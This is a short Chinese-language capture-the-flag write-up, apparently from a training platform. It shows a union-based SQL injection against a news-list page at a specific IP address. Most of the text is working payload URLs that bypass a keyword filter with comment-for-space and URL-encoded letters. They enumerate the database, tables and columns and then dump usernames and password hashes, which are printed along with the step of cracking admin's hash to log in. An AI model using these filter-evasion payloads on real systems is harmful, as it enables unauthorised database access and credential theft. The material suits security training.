http://219.153.49.228:40519/new_list.php?id=1
http://219.153.49.228:40519/new_list.php?id=1'
http://219.153.49.228:40519/new_list.php?id=1'%23
http://219.153.49.228:40519/new_list.php?id=1' and 1=1
经过上面几轮测试，可以看出本题：空格，单引号，等号，union，select，from都过滤。
因此进行替换：
空格 》 /**/
等号 》like
union》 %75nion
select》%73elect
from 》%66rom
爆库：
http://219.153.49.228:41005/new_list.php?id=-1/**/%75nion/**/%73elect/**/1,(database()),3,4
爆表：
%73elect/**/group_concat(TABLE_NAME)/**/%66rom/**/information_schema.TABLES/**/%77here/**/TABLE_SCHEMA/**/like/**/database()
http://219.153.49.228:41005/new_list.php?id=-1/**/%75nion/**/%73elect/**/1,(%73elect/**/group_concat(TABLE_NAME)/**/%66rom/**/information_schema.TABLES/**/%77here/**/TABLE_SCHEMA/**/like/**/database()),3,4
爆字段：
%73elect/**/group_concat(COLUMN_NAME)/**/%66rom/**/information_schema.COLUMNS/**/%77here/**/TABLE_NAME=0x73746f726d67726f75705f6d656d626572
http://219.153.49.228:41005/new_list.php?id=-1/**/%75nion/**/%73elect/**/1,(%73elect/**/group_concat(COLUMN_NAME)/**/%66rom/**/information_schema.COLUMNS/**/%77here/**/TABLE_NAME=0x73746f726d67726f75705f6d656d626572),3,4
爆status字段：
%73elect/**/group_concat(status)/**/%66rom/**/stormgroup_member
http://219.153.49.228:41005/new_list.php?id=-1/**/%75nion/**/%73elect/**/1,(%73elect/**/group_concat(status)/**/%66rom/**/stormgroup_member),3,4
爆name和password字段：
%73elect/**/group_concat(name)/**/%66rom/**/stormgroup_member
http://219.153.49.228:41005/new_list.php?id=-1/**/%75nion/**/%73elect/**/1,(%73elect/**/group_concat(name)/**/%66rom/**/stormgroup_member),(%73elect/**/group_concat(password)/**/%66rom/**/stormgroup_member),4
查询表名：/**/union/**/select/**/null,group_concat(table_name),null,null/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'mozhe_discuz_stormgroup'查出表名：notice,stormgroup_member
查列名：
/**/union/**/select/**/null,group_concat(column_name),null,null/**/from/**/information_schema.columns/**/where/**/table_name='stormgroup_member'
查出列名：
id,length,name,password,time,status
字段值：
/**/union/**/select/**/null,group_concat(name),group_concat(password),null/**/from/**/stormgroup_member
查出字段值：
mozhe01,mozhe2,admin
d1bff12cf951bbb9f8d1c3e59620255b,a6babd9eb561e9ffd6f5aad28851daa7,4cfed2397c80f6c4c4f1dd61e44fdac0
admin对于password值解密登陆拿KEY：